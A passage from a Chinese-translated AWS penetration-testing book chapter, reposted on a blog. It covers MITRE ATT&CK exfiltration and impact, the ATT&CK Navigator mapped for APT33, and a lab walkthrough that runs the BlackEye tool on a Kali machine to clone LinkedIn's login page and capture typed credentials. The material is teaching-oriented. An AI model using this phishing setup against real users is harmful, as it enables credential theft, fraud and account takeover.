  • 接下来,一旦我们发现了目标,我们就朝着收集外泄网络外的数据的方向前进。这意味着我们可以使用技术和程序将信息从网络中拉出并传输到我们的网络中。在对手的方法中,有访问 AWS 环境的威胁或恶意黑客会收集数据并将其推送到位于代理服务器后面的他们的服务器。

重要说明

代理服务器充当目标和攻击者服务器之间的中间主机。代理服务器用于“隐藏”攻击者服务器。

  • 另一个值得一提的部分是 MITRE ATT&CK 框架的最后一部分涉及威胁的影响。影响可以是破坏网站或网页服务器,通过DDoSDoS使服务中断。这些类型的攻击很常见,如果在渗透测试期间发生了什么,或者更糟糕的是,如果实际威胁或 APT 造成了大规模影响,这可能会对组织造成真正的伤害!

重要说明

要更多地了解 MITRE ATT&CK 框架,请查看完整的框架:attack.mitre.org/

现在我们已经讨论了 MITRE ATT&CK 框架,让我们开始看看 MITRE ATT&CK Navigator - 一个让我们在高层次上映射和说明攻击的工具。

发现 MITRE ATT&CK Navigator

在本节中,我们将快速看一下如何在高层次上使用该工具,以及运营商(红队员)和渗透测试人员如何使用这种插图类型的工具来揭示特定攻击。在这个例子中,我们将看一下 APT33 使用的一些攻击,APT33 是一个被怀疑的伊朗威胁组织,自 2013 年以来一直进行着行动。APT33 的目标包括美国、沙特阿拉伯和韩国等国家,他们对航空领域感兴趣。您可以在这里找到有关 APT33 的更多信息:attack.mitre.org/groups/G0064/

让我们从这里开始导航器:mitre-attack.github.io/attack-navigator/enterprise/

在导航器上,按照以下步骤创建 APT33 路线图:

  1. 部分工具部分点击多选,并在威胁组部分向下滚动,直到找到APT33。找到后,点击选择图 12.3 - MITRE 导航器中的下拉菜单

图 12.3 - MITRE 导航器中的下拉菜单

  1. 现在我们已经选择了APT33,我们已经选择了它的所有技术。现在,让我们通过点击技术控件下的油漆桶来突出显示这些技术。在这个例子中,我们选择了红色作为颜色:图 12.4 - 使用颜色突出显示攻击方法

图 12.4 - 使用颜色突出显示攻击方法

  1. 选择颜色后,您的屏幕应该开始填充您选择的颜色。这些颜色突出显示了APT33使用的策略和技术,以及您的渗透测试团队如何执行这些攻击。这也是向高层管理人员展示攻击者如何针对其他 AWS 环境的方式,并允许就如何防范这类攻击进行公开讨论。以下是来自 ATT&CK Navigator 的APT33的攻击路线图的插图:

图 12.5 - 完整的突出显示的攻击路径

图 12.5 - 完整的突出显示的攻击路径

这就是本章的导航器部分。正如你所看到的,导航器是一个很棒的、简单而简洁的工具,它将帮助我们向高层管理人员和我们的渗透测试团队说明我们的攻击路径,并允许我们在保持在轨道上的同时执行我们的渗透测试。

现在我们了解了如何将 MITRE ATT&CK 与我们的渗透测试结合使用,让我们来看看攻击者和渗透测试人员如何通过钓鱼手段和方法获得初始访问权限。

通过钓鱼上钩

钓鱼是一种网络攻击,占受害组织遭受的入侵的约 70%。这种不太技术性的欺骗技术通常涉及攻击者制作某种类型的有效负载,然后将其发送给一个或多个受害者。有效负载包括一封带有某种恶意软件或链接的电子邮件,诱使用户点击它们。这是通过欺骗和借口的艺术来使用的,通常有一种诱饵用于诱使目标。

现在,让我们继续看看如何在教育环境中应用钓鱼。这样做的目的是帮助您,读者,了解一个简单而有效的钓鱼网站可以如何执行基本的技术属性。

使用 AWS 执行钓鱼

现在我们了解了什么是网络钓鱼,让我们来看一个快速但非常有趣的例子,使用我们的 AWS Kali Linux 机器来执行网络钓鱼攻击的练习。在开始之前,您需要确保您的 Kali Linux 机器已经启动并运行。一旦您的 Kali Linux 机器运行起来,通过其公共 IP 地址 SSH 连接到它。一旦您登录到 Kali 机器,按照以下步骤进行:

  1. 从 GitHub 获取 BlackEye 的副本:
$ git clone https://github.com/thelinuxchoice/blackeye
  1. 接下来,切换到该工具的目录:
$ cd blackeye
  1. 启动应用程序:
$ bash blackeye
  1. 启动应用程序后,您将被提示选择要克隆用于网络钓鱼攻击的网站。在这种情况下,我们将选择Linkedin,选择选项13图 12.6 – BlackEye 主屏幕

图 12.6 – BlackEye 主屏幕

  1. 在选择选项13后,确保将公共 DNS作为本地 IP。这将确保该工具绑定到我们的本地 DNS 名称以进行路由。

现在站点已经运行并等待目标访问,或者它在网络钓鱼邮件中,让用户点击链接。

要查看页面,请将公共 DNS 输入到您首选浏览器的 URL 栏中:

图 12.7 – 钓鱼 LinkedIn 网站

图 12.7 – 钓鱼 LinkedIn 网站

正如我们所看到的,该网站看起来很正常;然而,我们可以看到在顶部附近的搜索栏中的 URL 不同。对于一个警觉的用户来说,这将是一个明显的指示,表明这是一个网络钓鱼计划;然而,一个不太警觉的用户可能会被欺骗并输入他们的信息。

尝试向应用程序输入一些凭据。请勿使用您的合法 LinkedIn 凭据!

一旦您输入您的凭据,点击登录,就像您通常会做的那样。您应该会被重定向到真正的 LinkedIn 页面。发生的事情是 BlackEye 工具收集了您的凭据,并将您重定向到实际的 LinkedIn 页面再次尝试登录。普通用户可能会将此视为潜在错误,然后再次尝试登录。然而,如果我们查看后台并返回到我们的 Kali 终端,我们会注意到另一件事——我们的凭据已经被收集并保存了!

图 12.8 – 被盗的凭据

图 12.8 – 被盗的凭据

正如我们所看到的,我们有可以用来访问 LinkedIn 的凭据。当然,这些并不是合法的;然而,在现实生活中的网络钓鱼计划中,收集到的凭据可能会导致很多麻烦,比如欺诈、身份盗用和数据泄露。

重要提示

关于这个主题的有趣互动视频,请查看Simply Cyber,以了解使用这个工具的精彩现场演示!

www.youtube.com/watch?time_continue=2&v=aa7e7oLPyp4&feature=emb_logo

总结

在本章中,我们通过分析和讨论 MITRE ATT&CK 框架,学习了一些攻击技术,然后通过一个有趣的互动练习结束了本章,该练习利用 AWS 进行 AWS 网络钓鱼活动。

这一章结束了。我希望您和我一样喜欢阅读它!

进一步阅读

关于 AWS 上真实攻击的文章:www.darkreading.com/cloud/hackers-use-public-cloud-features-to-breach-persist-in-business-networks/d/d-id/1332618

posted @ 2024-05-04 14:54  绝不原创的飞龙  阅读(104)  评论(0编辑  收藏  举报